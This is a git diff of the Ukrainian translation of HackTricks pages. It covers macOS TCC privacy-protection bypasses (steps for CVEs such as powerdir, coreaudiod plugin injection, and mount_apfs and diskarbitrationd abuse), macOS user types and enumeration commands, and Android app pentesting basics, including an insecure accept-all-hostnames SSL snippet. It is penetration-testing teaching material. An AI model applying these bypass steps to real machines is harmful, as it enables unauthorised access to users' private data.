**Перший POC** використовує [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) і [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/), щоб змінити **HOME** папку користувача.
1. Отримати _csreq_ blob для цільового додатку.
2. Посадити підроблений _TCC.db_ файл з необхідним доступом і _csreq_ blob.
1. Отримати _csreq_ блоб для цільового додатку.
2. Посадити підроблений _TCC.db_ файл з необхідним доступом і _csreq_ блобом.
3. Експортувати запис служби каталогів користувача за допомогою [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
4. Змінити запис служби каталогів, щоб змінити домашню папку користувача.
5. Імпортувати змінений запис служби каталогів за допомогою [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/).
6. Зупинити _tccd_ користувача і перезавантажити процес.
Другий POC використовував **`/usr/libexec/configd`**, який мав `com.apple.private.tcc.allow` зі значенням `kTCCServiceSystemPolicySysAdminFiles`.\
Було можливим запустити **`configd`** з параметром **`-t`**, зловмисник міг вказати **кастомний пакет для завантаження**. Отже, експлуатація **замінює** методи **`dsexport`** і **`dsimport`** зміни домашньої папки користувача на **впровадження коду в `configd`**.
Було можливим запустити **`configd`** з параметром **`-t`**, зловмисник міг вказати **кастомний пакет для завантаження**. Отже, експлуатація **замінює** методи **`dsexport`** і **`dsimport`** для зміни домашньої папки користувача на **впровадження коду в `configd`**.
Для отримання додаткової інформації перегляньте [**оригінальний звіт**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/).
## За допомогою впровадження процесу
## За допомогою ін'єкції процесу
Існують різні техніки для впровадження коду в процес і зловживання його привілеями TCC:
Існують різні техніки для ін'єкції коду всередину процесу та зловживання його привілеями TCC:
{{#ref}}
../../../macos-proces-abuse/
{{#endref}}
Більше того, найпоширеніше впровадження процесу для обходу TCC виявлено через **плагіни (завантажити бібліотеку)**.\
Більше того, найпоширенішою ін'єкцією процесу для обходу TCC є через **плагіни (завантажити бібліотеку)**.\
Плагіни - це додатковий код, зазвичай у формі бібліотек або plist, які будуть **завантажені основним додатком** і виконуватимуться в його контексті. Отже, якщо основний додаток мав доступ до файлів, обмежених TCC (через надані дозволи або права), **кастомний код також матиме його**.
### CVE-2020-27937 - Directory Utility
@ -269,7 +270,7 @@ TCC використовує базу даних у домашній папці
### CVE-2020-29621 - Coreaudiod
Бінарний файл **`/usr/sbin/coreaudiod`** мав права `com.apple.security.cs.disable-library-validation` і `com.apple.private.tcc.manager`. Перше **дозволяло впровадження коду**, а друге надавало доступ до **керування TCC**.
Бінарний файл **`/usr/sbin/coreaudiod`** мав права `com.apple.security.cs.disable-library-validation` і `com.apple.private.tcc.manager`. Перше **дозволяло ін'єкцію коду**, а друге надавало доступ до **керування TCC**.
Цей бінарний файл дозволяв завантажувати **плагіни сторонніх виробників** з папки `/Library/Audio/Plug-Ins/HAL`. Отже, було можливим **завантажити плагін і зловживати дозволами TCC** з цим PoC:
```objectivec
@ -336,7 +337,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
</dict>
</plist>
```
Для отримання додаткової інформації про те, як легко експлуатувати це [**перевірте оригінальний звіт**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
Для отримання додаткової інформації про те, як легко експлуатувати це [**перегляньте оригінальний звіт**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
### CVE-2020-10006
@ -402,7 +403,7 @@ launchctl load com.telegram.launcher.plist
</dict>
</plist>
```
Застосунок може записати термінальний скрипт у такому місці, як /tmp, і запустити його з командою, такою як:
Застосунок може написати термінальний скрипт у такому місці, як /tmp, і запустити його з командою, такою як:
```objectivec
// Write plist in /tmp/tcc.terminal
[...]
@ -415,7 +416,7 @@ exploit_location]; task.standardOutput = pipe;
```
## За допомогою монтування
### CVE-2020-9771 - обхід TCC mount_apfs та ескалація привілеїв
### CVE-2020-9771 - обхід TCC mount_apfs та підвищення привілеїв
**Будь-який користувач** (навіть без привілеїв) може створити та змонтувати знімок Time Machine та **отримати доступ до ВСІХ файлів** цього знімка.\
Єдине привілейоване, яке потрібно, це щоб застосунок (наприклад, `Terminal`) мав **Повний доступ до диска** (FDA) (`kTCCServiceSystemPolicyAllfiles`), що має бути надано адміністратором.
@ -465,16 +466,24 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
```
Перевірте **повний експлойт** у [**оригінальному описі**](https://theevilbit.github.io/posts/cve-2021-30808/).
### CVE-2024-40855
Як пояснюється в [оригінальному описі](https://www.kandji.io/blog/macos-audit-story-part2), цей CVE зловживав `diskarbitrationd`.
Функція `DADiskMountWithArgumentsCommon` з публічного фреймворку `DiskArbitration` виконувала перевірки безпеки. Однак, її можна обійти, безпосередньо викликавши `diskarbitrationd` і, отже, використовуючи елементи `../` у шляху та символічні посилання.
Це дозволило зловмиснику виконувати довільні монтування в будь-якому місці, включаючи базу даних TCC через право `com.apple.private.security.storage-exempt.heritable` `diskarbitrationd`.
### asr
Інструмент **`/usr/sbin/asr`** дозволяв копіювати весь диск і монтувати його в іншому місці, обходячи захисти TCC.
Інструмент **`/usr/sbin/asr`** дозволяв копіювати весь диск і монтувати його в іншому місці, обминаючи захисти TCC.
### Служби локації
### Служби геолокації
Є третя база даних TCC у **`/var/db/locationd/clients.plist`**, щоб вказати клієнтів, яким дозволено **доступ до служб локації**.\
Папка **`/var/db/locationd/` не була захищена від монтування DMG**, тому було можливо змонтувати наш власний plist.
Існує третя база даних TCC у **`/var/db/locationd/clients.plist`**, щоб вказати клієнтів, яким дозволено **доступ до служб геолокації**.\
Папка **`/var/db/locationd/` не була захищена від монтування DMG**, тому було можливим змонтувати наш власний plist.
## За допомогою автозавантажуваних програм
## За допомогою автозапуску
{{#ref}}
../../../../macos-auto-start-locations.md
@ -482,7 +491,7 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
## За допомогою grep
У кількох випадках файли зберігатимуть чутливу інформацію, таку як електронні листи, номери телефонів, повідомлення... у незахищених місцях (що вважається вразливістю в Apple).
В кількох випадках файли зберігатимуть чутливу інформацію, таку як електронні листи, номери телефонів, повідомлення... у незахищених місцях (що вважається вразливістю в Apple).
<figure><img src="../../../../../images/image (474).png" alt=""><figcaption></figcaption></figure>

34
src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md
View File

@ -1,35 +1,33 @@
# macOS Users & External Accounts
# macOS Користувачі та Зовнішні Облікові Записи
{{#include ../../banners/hacktricks-training.md}}
## Common Users
## Загальні Користувачі
- **Daemon**: User reserved for system daemons. The default daemon account names usually start with a "\_":
- **Daemon**: Користувач, зарезервований для системних демонів. Імена облікових записів демонів за замовчуванням зазвичай починаються з "\_":
```bash
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
```
- **Guest**: Account for guests with very strict permissions
```bash
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
```
- **Guest**: Обліковий запис для гостей з дуже суворими правами доступу
```bash
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
```
- **Nobody**: Processes are executed with this user when minimal permissions are required
- **Nobody**: Процеси виконуються з цим користувачем, коли потрібні мінімальні дозволи
- **Root**
## User Privileges
## Привілеї користувачів
- **Standard User:** The most basic of users. This user needs permissions granted from an admin user when attempting to install software or perform other advanced tasks. They are not able to do it on their own.
- **Admin User**: A user who operates most of the time as a standard user but is also allowed to perform root actions such as install software and other administrative tasks. All users belonging to the admin group are **given access to root via the sudoers file**.
- **Root**: Root is a user allowed to perform almost any action (there are limitations imposed by protections like System Integrity Protection).
- For example root won't be able to place a file inside `/System`
- **Стандартний користувач:** Найбазовіший з користувачів. Цьому користувачу потрібні дозволи, надані адміністратором, при спробі встановити програмне забезпечення або виконати інші складні завдання. Вони не можуть зробити це самостійно.
- **Адміністратор:** Користувач, який в основному працює як стандартний користувач, але також має право виконувати дії root, такі як встановлення програмного забезпечення та інші адміністративні завдання. Усі користувачі, що належать до групи адміністраторів, **отримують доступ до root через файл sudoers**.
- **Root**: Root - це користувач, якому дозволено виконувати майже будь-яку дію (існують обмеження, накладені такими захистами, як System Integrity Protection).
- Наприклад, root не зможе помістити файл у `/System`
## External Accounts
## Зовнішні облікові записи
MacOS also support to login via external identity providers such as FaceBook, Google... The main daemon performing this job is `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) and it's possible to find plugins used for external authentication inside the folder `/System/Library/Accounts/Authentication/`.\
Moreover, `accountsd` gets the list of account types from `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`.
MacOS також підтримує вхід через зовнішні постачальники ідентичності, такі як FaceBook, Google... Основний демон, що виконує цю роботу, - це `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`), і можна знайти плагіни, що використовуються для зовнішньої аутентифікації, у папці `/System/Library/Accounts/Authentication/`.\
Більше того, `accountsd` отримує список типів облікових записів з `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`.
{{#include ../../banners/hacktricks-training.md}}

24
src/macos-hardening/macos-useful-commands.md
View File

@ -1,15 +1,14 @@
# macOS Useful Commands
# macOS Корисні Команди
{{#include ../banners/hacktricks-training.md}}
### MacOS Automatic Enumeration Tools
### Інструменти Автоматичної Перерахунки MacOS
- **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
- **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb)
- **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt)
### Specific MacOS Commands
### Специфічні Команди MacOS
```bash
#System info
date
@ -111,25 +110,21 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist (enable ssh)
sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist (disable ssh)
#Start apache
sudo apachectl (start|status|restart|stop)
##Web folder: /Library/WebServer/Documents/
##Web folder: /Library/WebServer/Documents/
#Remove DNS cache
dscacheutil -flushcache
sudo killall -HUP mDNSResponder
```
### Встановлене програмне забезпечення та сервіси
### Installed Software & Services
Check for **suspicious** applications installed and **privileges** over the.installed resources:
Перевірте наявність **підозрілих** додатків, що встановлені, та **привілеїв** над встановленими ресурсами:
```
system_profiler SPApplicationsDataType #Installed Apps
system_profiler SPFrameworksDataType #Instaled framework
lsappinfo list #Installed Apps
launchctl list #Services
```
### User Processes
### Процеси користувача
```bash
# will print all the running services under that particular user domain.
launchctl print gui/<users UID>
@ -140,10 +135,9 @@ launchctl print system
# will print detailed information about the specific launch agent. And if it’s not running or you’ve mistyped, you will get some output with a non-zero exit code: Could not find service “com.company.launchagent.label” in domain for login
launchctl print gui/<user's UID>/com.company.launchagent.label
```
### Створити користувача
### Create a user
Without prompts
Без підказок
<figure><img src="../images/image (79).png" alt=""><figcaption></figcaption></figure>

172
src/mobile-pentesting/android-app-pentesting/README.md
View File

@ -2,24 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
**Інсайти з хакінгу**\
Залучайтеся до контенту, який занурюється у захоплення та виклики хакінгу
**Новини хакінгу в реальному часі**\
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
**Останні оголошення**\
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
## Основи Android-додатків
Рекомендується почати читати цю сторінку, щоб дізнатися про **найважливіші частини, пов'язані з безпекою Android та найнебезпечніші компоненти в Android-додатку**:
Рекомендується почати читати цю сторінку, щоб дізнатися про **найважливіші частини, пов'язані з безпекою Android, та найнебезпечніші компоненти в Android-додатку**:
{{#ref}}
android-applications-basics.md
@ -27,20 +12,20 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Це основний інструмент, який вам потрібен для підключення до Android-пристрою (емульованого або фізичного).\
**ADB** дозволяє контролювати пристрої через **USB** або **мережу** з комп'ютера. Ця утиліта дозволяє **копіювати** файли в обох напрямках, **встановлювати** та **видаляти** додатки, **виконувати** команди оболонки, **робити резервні копії** даних, **читати** журнали та інші функції.
Це основний інструмент, який вам потрібен для підключення до android-пристрою (емульованого або фізичного).\
**ADB** дозволяє контролювати пристрої як через **USB**, так і через **мережу** з комп'ютера. Ця утиліта дозволяє **копіювати** файли в обох напрямках, **встановлювати** та **видаляти** додатки, **виконувати** команди оболонки, **робити резервні копії** даних, **читати** журнали та інші функції.
Ознайомтеся з наступним списком [**команд ADB**](adb-commands.md), щоб дізнатися, як використовувати adb.
## Smali
Іноді цікаво **модифікувати код додатку**, щоб отримати доступ до **прихованої інформації** (можливо, добре обфусцировані паролі або прапори). Тоді може бути цікаво декомпілювати apk, змінити код і знову скомпілювати його.\
[**У цьому навчальному посібнику** ви можете **дізнатися, як декомпілювати APK, модифікувати код Smali та знову скомпілювати APK** з новою функціональністю](smali-changes.md). Це може бути дуже корисно як **альтернатива для кількох тестів під час динамічного аналізу**, які будуть представлені. Тому **завжди тримайте в умі цю можливість**.
Іноді цікаво **модифікувати код додатку**, щоб отримати доступ до **прихованої інформації** (можливо, добре обфусцированих паролів або флагів). Тоді може бути цікаво декомпілювати apk, модифікувати код і знову скомпілювати його.\
[**У цьому навчальному посібнику** ви можете **дізнатися, як декомпілювати APK, модифікувати код Smali та знову скомпілювати APK** з новою функціональністю](smali-changes.md). Це може бути дуже корисно як **альтернатива для кількох тестів під час динамічного аналізу**, які будуть представлені. Тому **завжди тримайте цю можливість в умі**.
## Інші цікаві трюки
- [Спуфінг вашого місцезнаходження в Play Store](spoofing-your-location-in-play-store.md)
- **Завантаження APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- **Завантажити APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Витягти APK з пристрою:
```bash
adb shell pm list packages
@ -62,16 +47,16 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Статичний аналіз
По-перше, для аналізу APK вам слід **ознайомитися з Java-кодом** за допомогою декомпілера.\
По-перше, для аналізу APK вам слід **ознайомитися з Java кодом** за допомогою декомпілера.\
Будь ласка, [**читайте тут, щоб знайти інформацію про різні доступні декомпілери**](apk-decompilers.md).
### Пошук цікавої інформації
Просто ознайомившись з **рядками** APK, ви можете шукати **паролі**, **URL-адреси** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** ключі, **шифрування**, **bluetooth uuids**, **токени** та будь-яку цікаву інформацію... шукайте навіть код виконання **бекдорів** або бекдори аутентифікації (жорстко закодовані облікові дані адміністратора для програми).
Просто ознайомившись з **рядками** APK, ви можете шукати **паролі**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** ключі, **шифрування**, **bluetooth uuids**, **токени** та будь-яку цікаву інформацію... шукайте навіть код виконання **бекдорів** або бекдори аутентифікації (жорстко закодовані облікові дані адміністратора для програми).
**Firebase**
Зверніть особливу увагу на **firebase URL-адреси** та перевірте, чи вони неправильно налаштовані. [Більше інформації про те, що таке Firebase і як його експлуатувати тут.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
Зверніть особливу увагу на **firebase URL** та перевірте, чи він неправильно налаштований. [Більше інформації про те, що таке Firebase і як його експлуатувати тут.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Основи розуміння програми - Manifest.xml, strings.xml
@ -87,7 +72,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
- **Отримувачі широкомовлення та URL-схеми**: Ці компоненти можуть бути використані для експлуатації, з особливою увагою до того, як управляються URL-схеми для вразливостей введення.
- **Версії SDK**: Атрибути `minSdkVersion`, `targetSDKVersion` та `maxSdkVersion` вказують на підтримувані версії Android, підкреслюючи важливість непідтримки застарілих, вразливих версій Android з міркувань безпеки.
З файлу **strings.xml** можна виявити чутливу інформацію, таку як API-ключі, власні схеми та інші нотатки розробників, що підкреслює необхідність ретельного перегляду цих ресурсів.
З файлу **strings.xml** можна виявити чутливу інформацію, таку як API ключі, власні схеми та інші нотатки розробників, що підкреслює необхідність ретельного перегляду цих ресурсів.
### Tapjacking
@ -102,7 +87,7 @@ tapjacking.md
### Захоплення завдань
**Активність** з **`launchMode`**, встановленим на **`singleTask` без визначеного `taskAffinity`**, вразлива до захоплення завдань. Це означає, що **програму** можна встановити, і якщо вона запуститься перед реальною програмою, вона може **захопити завдання реальної програми** (так що користувач буде взаємодіяти з **зловмисною програмою, вважаючи, що використовує реальну**).
**Активність** з **`launchMode`**, встановленим на **`singleTask` без жодного `taskAffinity`**, вразлива до захоплення завдань. Це означає, що **програму** можна встановити, і якщо вона запуститься перед реальною програмою, вона може **захопити завдання реальної програми** (так що користувач буде взаємодіяти з **зловмисною програмою, вважаючи, що використовує реальну**).
Більше інформації в:
@ -114,12 +99,12 @@ android-task-hijacking.md
**Внутрішнє зберігання**
У Android файли, **збережені** у **внутрішньому** зберіганні, **призначені** для **доступу** виключно програмою, яка їх **створила**. Ця міра безпеки **забезпечується** операційною системою Android і зазвичай є адекватною для потреб безпеки більшості програм. Однак розробники іноді використовують режими, такі як `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE`, щоб **дозволити** файлам **ділитися** між різними програмами. Проте ці режими **не обмежують доступ** до цих файлів з інших програм, включаючи потенційно зловмисні.
В Android файли, **збережені** у **внутрішньому** зберіганні, **призначені** для **доступу** виключно програмою, яка їх **створила**. Ця міра безпеки **забезпечується** операційною системою Android і зазвичай є адекватною для потреб безпеки більшості програм. Однак розробники іноді використовують режими, такі як `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE`, щоб **дозволити** файлам **ділитися** між різними програмами. Проте ці режими **не обмежують доступ** до цих файлів з інших програм, включаючи потенційно зловмисні.
1. **Статичний аналіз:**
- **Переконайтеся**, що використання `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE` **ретельно перевіряється**. Ці режими **можуть потенційно відкрити** файли для **небажаного або несанкціонованого доступу**.
2. **Динамічний аналіз:**
- **Перевірте** **дозволи**, встановлені на файли, створені програмою. Зокрема, **перевірте**, чи є файли **встановленими на читання або запис у всьому світі**. Це може становити значний ризик для безпеки, оскільки це дозволить **будь-якій програмі**, встановленій на пристрої, незалежно від її походження чи наміру, **читати або змінювати** ці файли.
- **Перевірте** **дозволи**, встановлені на файлах, створених програмою. Зокрема, **перевірте**, чи є файли **встановленими на читання або запис по всьому світу**. Це може становити значний ризик для безпеки, оскільки це дозволить **будь-якій програмі**, встановленій на пристрої, незалежно від її походження чи наміру, **читати або змінювати** ці файли.
**Зовнішнє зберігання**
@ -138,7 +123,7 @@ android-task-hijacking.md
Зовнішнє зберігання може бути **доступним** у `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
> [!NOTE]
> Починаючи з Android 4.4 (**API 17**), SD-карта має структуру каталогів, яка **обмежує доступ програми до каталогу, який спеціально призначений для цієї програми**. Це запобігає зловмисній програмі отримати доступ для читання або запису до файлів іншої програми.
> Починаючи з Android 4.4 (**API 17**), SD-карта має структуру каталогів, яка **обмежує доступ програми до каталогу, який спеціально призначений для цієї програми**. Це запобігає зловмисній програмі отримати доступ на читання або запис до файлів іншої програми.
**Чутливі дані, збережені у відкритому тексті**
@ -149,7 +134,7 @@ android-task-hijacking.md
**Прийняття всіх сертифікатів**
З якоїсь причини іноді розробники приймають всі сертифікати, навіть якщо, наприклад, ім'я хоста не відповідає таким рядкам коду, як наступний:
З якоїсь причини іноді розробники приймають всі сертифікати, навіть якщо, наприклад, ім'я хоста не відповідає таким рядкам коду:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
@ -172,7 +157,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
- Якщо додаток є чутливим (як банківські додатки), він повинен виконувати **власні перевірки, щоб дізнатися, чи пристрій є рутованим**, і діяти відповідно.
- Якщо додаток є чутливим (як банківські додатки), він повинен перевіряти, чи використовується **емулятор**.
- Якщо додаток є чутливим (як банківські додатки), він повинен **перевіряти свою цілісність перед виконанням**, щоб перевірити, чи був він змінений.
- Використовуйте [**APKiD**](https://github.com/rednaga/APKiD), щоб перевірити, який компілятор/упаковщик/обфускатор був використаний для створення APK
- Використовуйте [**APKiD**](https://github.com/rednaga/APKiD), щоб перевірити, який компілятор/упаковщик/обфускатор був використаний для створення APK.
### React Native Application
@ -192,7 +177,7 @@ react-native-application.md
### Superpacked Applications
Згідно з цим [**блогом**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked - це мета-алгоритм, який стискає вміст програми в один файл. Блог говорить про можливість створення програми, яка розпаковує такі програми... і швидший спосіб, який передбачає **виконання програми та збір розпакованих файлів з файлової системи.**
Згідно з цим [**блогом**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked - це мета-алгоритм, який стискає вміст програми в один файл. Блог говорить про можливість створення програми, яка розпаковує такі програми... і швидший спосіб, який передбачає **виконання програми та збір розпакованих файлів з файлової системи.**
### Автоматизований статичний аналіз коду
@ -202,7 +187,7 @@ react-native-application.md
### Витік секретів
Додаток може містити секрети (API ключі, паролі, приховані URL, піддомени...) всередині нього, які ви можете виявити. Ви можете використовувати інструмент, такий як [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
Додаток може містити секрети (API ключі, паролі, приховані URL, піддомени...) всередині нього, які ви можете виявити. Ви можете використовувати інструмент, такий як [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks).
### Обхід біометричної аутентифікації
@ -225,21 +210,6 @@ content-protocol.md
---
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до сервера [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), щоб спілкуватися з досвідченими хакерами та мисливцями за баґами!
**Інсайти з хакінгу**\
Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
**Новини про хакінг в реальному часі**\
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
**Останні оголошення**\
Залишайтеся в курсі нових баґ-баунті та важливих оновлень платформи
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
---
## Динамічний аналіз
@ -260,7 +230,7 @@ content-protocol.md
#### Використання емулятора
- [**Android Studio**](https://developer.android.com/studio) (Ви можете створити **x86** та **arm** пристрої, і відповідно до [**цього**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**останніх x86** версій **підтримують ARM бібліотеки** без необхідності повільного емулятора arm).
- [**Android Studio**](https://developer.android.com/studio) (Ви можете створювати **x86** та **arm** пристрої, і відповідно до [**цього**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**останніх x86** версій **підтримують ARM бібліотеки** без необхідності в повільному емуляторі arm).
- Дізнайтеся, як налаштувати його на цій сторінці:
{{#ref}}
@ -284,22 +254,22 @@ avd-android-virtual-device.md
Вам потрібно активувати **опції налагодження**, і було б добре, якщо ви зможете **рутнути** його:
1. **Налаштування**.
2. (З Android 8.0) Виберіть **Система**.
2. (З Android 8.0) Виберіть **Систему**.
3. Виберіть **Про телефон**.
4. Натисніть **Номер збірки** 7 разів.
5. Поверніться назад, і ви знайдете **Опції розробника**.
> Як тільки ви встановили додаток, перше, що ви повинні зробити, це спробувати його та дослідити, що він робить, як він працює і звикнути до нього.\
> Я рекомендую **виконати цей початковий динамічний аналіз, використовуючи динамічний аналіз MobSF + pidcat**, щоб ми могли **вивчити, як працює додаток**, поки MobSF **збирає** багато **цікавих** **даних**, які ви можете переглянути пізніше.
> Після встановлення програми перше, що ви повинні зробити, це спробувати її та дослідити, що вона робить, як вона працює і звикнути до неї.\
> Я рекомендую **виконати цей початковий динамічний аналіз, використовуючи динамічний аналіз MobSF + pidcat**, щоб ми могли **вивчити, як працює програма**, поки MobSF **збирає** багато **цікавих** **даних**, які ви зможете переглянути пізніше.
### Ненавмисний витік даних
**Логування**
Розробники повинні бути обережними, щоб не розкривати **інформацію для налагодження** публічно, оскільки це може призвести до витоку чутливих даних. Рекомендуються інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу журналів додатка, щоб виявити та захистити чутливу інформацію. **Pidcat** віддається перевага за його простоту використання та читабельність.
Розробники повинні бути обережними, щоб не розкривати **інформацію для налагодження** публічно, оскільки це може призвести до витоку чутливих даних. Рекомендуються інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу журналів програми, щоб виявити та захистити чутливу інформацію. **Pidcat** віддається перевага за його простоту використання та читабельність.
> [!WARNING]
> Зверніть увагу, що з **пізніми версіями Android 4.0** **додатки можуть отримувати доступ лише до своїх власних журналів**. Тому додатки не можуть отримувати доступ до журналів інших додатків.\
> Зверніть увагу, що з **пізніми версіями, ніж Android 4.0**, **додатки можуть отримувати доступ лише до своїх власних журналів**. Тому додатки не можуть отримувати доступ до журналів інших додатків.\
> Тим не менш, все ще рекомендується **не записувати чутливу інформацію**.
**Кешування буфера копіювання/вставки**
@ -308,26 +278,26 @@ avd-android-virtual-device.md
**Журнали аварій**
Якщо додаток **зависає** і **зберігає журнали**, ці журнали можуть допомогти зловмисникам, особливо коли додаток не може бути реверсовано. Щоб зменшити цей ризик, уникайте ведення журналів при аваріях, а якщо журнали повинні передаватися через мережу, переконайтеся, що вони надсилаються через SSL-канал для безпеки.
Якщо програма **зависає** і **зберігає журнали**, ці журнали можуть допомогти зловмисникам, особливо коли програму не можна реверсувати. Щоб зменшити цей ризик, уникайте ведення журналів при аваріях, а якщо журнали повинні передаватися через мережу, переконайтеся, що вони надсилаються через SSL-канал для безпеки.
Як пентестер, **слідкуйте за цими журналами**.
**Дані аналітики, надіслані третім особам**
